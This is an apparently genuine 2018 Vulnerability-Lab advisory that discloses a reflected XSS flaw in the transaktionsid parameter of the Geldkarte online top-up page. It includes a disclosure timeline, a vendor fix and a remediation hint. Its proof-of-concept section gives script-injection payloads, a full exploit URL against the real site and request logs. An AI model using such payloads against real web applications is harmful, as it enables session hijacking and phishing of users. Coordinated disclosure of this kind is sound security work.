Document Title:
===============
Geldkarte - transaktionsid Cross Site Scripting Vulnerability


Date:
=====
2018-02-20


References:
===========
https://www.vulnerability-lab.com/get_content.php?id=2118


VL-ID:
=====
2118


Common Vulnerability Scoring System:
====================================
4.1


Vulnerability Class:
====================
Cross Site Scripting - Non Persistent


Introduction:
=============
GeldKarte or Money Card is a stored-value card or electronic cash system used in germany. It operates as an offline smart card 
for small payment at things like vending machines and to pay for public transport or parking tickets. The card is pre-paid and 
funds are loaded onto the card using ATMs or dedicated charging machines.

(Copy of the Homepage: https://en.wikipedia.org/wiki/Geldkarte )


Abstract:
=========
The vulnerability laboratory core research team discovered a client-side cross site scripting vulnerability in the official Geldkarte online service web-application.



Report-Timeline:
================
2018-02-05: Researcher Notification & Coordination (Security Researcher)
2018-02-06: Vendor Notification (Security Department)
2018-02-09: Vendor Response/Feedback (Security Department)
2018-02-16: Vendor Fix/Patch (Service Developer Team)
2018-02-18: Security Acknowledgements  (Security Department)
2018-02-20: Public Disclosure (Vulnerability Laboratory)



Status:
========
Published


Affected Products:
==================

Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
A client-side cross site scripting web vulnerability has been discovered in the official Geldkarte online service web-application.
The vulnerability allows remote attacker to inject own script code with client-side attack vector to compromise user session data 
or simple web module context.

The cross site scripting web vulnerability is located in the transaktionsid parameter of the `/aufladen/` module. Remote attackers 
are able to inject own malicious script codes in the transaktionsid parameter to manipulate the followup request. The request method 
to inject is GET and the attack vector of the vulnerability is non-persistent. The transaktionsid parameter is used by several other 
mechanisms to deliver the session request for the geldkarte online service web-application.

Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external 
redirects to malicious source and non-persistent manipulation of affected or connected application modules.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] aufladen

Vulnerable Parameter(s):
[+] transaktionsid


Proof of Concept:
=================
The remote cross site scripting vulnerability can be exploited by remote attackers without privileged web-application user account 
and with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and 
steps below to continue.


PoC: Payload
"><script>alert(document.cookie);</script>
"><script>alert(document.domain);</script>


PoC: Example
http://www.geldkarte.de/privatkunden/aufladen/per-giropay-gkls/laden/online?transaktionsid=[CROSS SITE SCRIPTING PAYLOAD!]


PoC: Exploitation
http://www.geldkarte.de/privatkunden/aufladen/per-giropay-gkls/laden/online?transaktionsid='!"§$D"><script>alert(document.cookie);</script>

- PoC Session Logs [GET] --- 
Status: 200[OK] 
GET http://www.geldkarte.de/privatkunden/aufladen/per-giropay-gkls/laden/online?transaktionsid=%27!%22%C2%A7$D%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E 
Mime Type[text/html]    
Request Header:       Host[www.geldkarte.de]       
User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Connection[keep-alive]
Upgrade-Insecure-Requests[1]
Response Header:
Date[Tue, 06 Feb 2018 14:34:39 GMT]
Content-Type[text/html; charset=utf-8]
Content-Length[5419]
Connection[keep-alive]
Server[Apache]
Cache-Control[must-revalidate, proxy-revalidate, private, max-age=0]
X-UA-Compatible[IE=Edge]
Vary[Accept-Encoding]
Content-Encoding[gzip]
Expires[Tue, 06 Feb 2018 14:34:39 GMT]


Reference(s):
http://www.geldkarte.de/
http://www.geldkarte.de/privatkunden/
http://www.geldkarte.de/privatkunden/aufladen/p
http://www.geldkarte.de/privatkunden/aufladen/per-giropay-gkls/
http://www.geldkarte.de/privatkunden/aufladen/per-giropay-gkls/laden/
http://www.geldkarte.de/privatkunden/aufladen/per-giropay-gkls/laden/online
http://www.geldkarte.de/privatkunden/aufladen/per-giropay-gkls/laden/online?transaktionsid=


Solution:
=========
The cross site scripting web vulnerbaility can be patched by implementation of htmlentities in the transaktionsid parameter.


Risk:
=====
The security risk of the clienbt-side cross site scripting web vulnerability in the geldkarte online service web-application is estimated as medium.



Credits:
========
Marco Onorati [research@vulnerabiity-lab.com] - https://www.vulnerability-lab.com/show.php?user=Marco+Onorati


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===========
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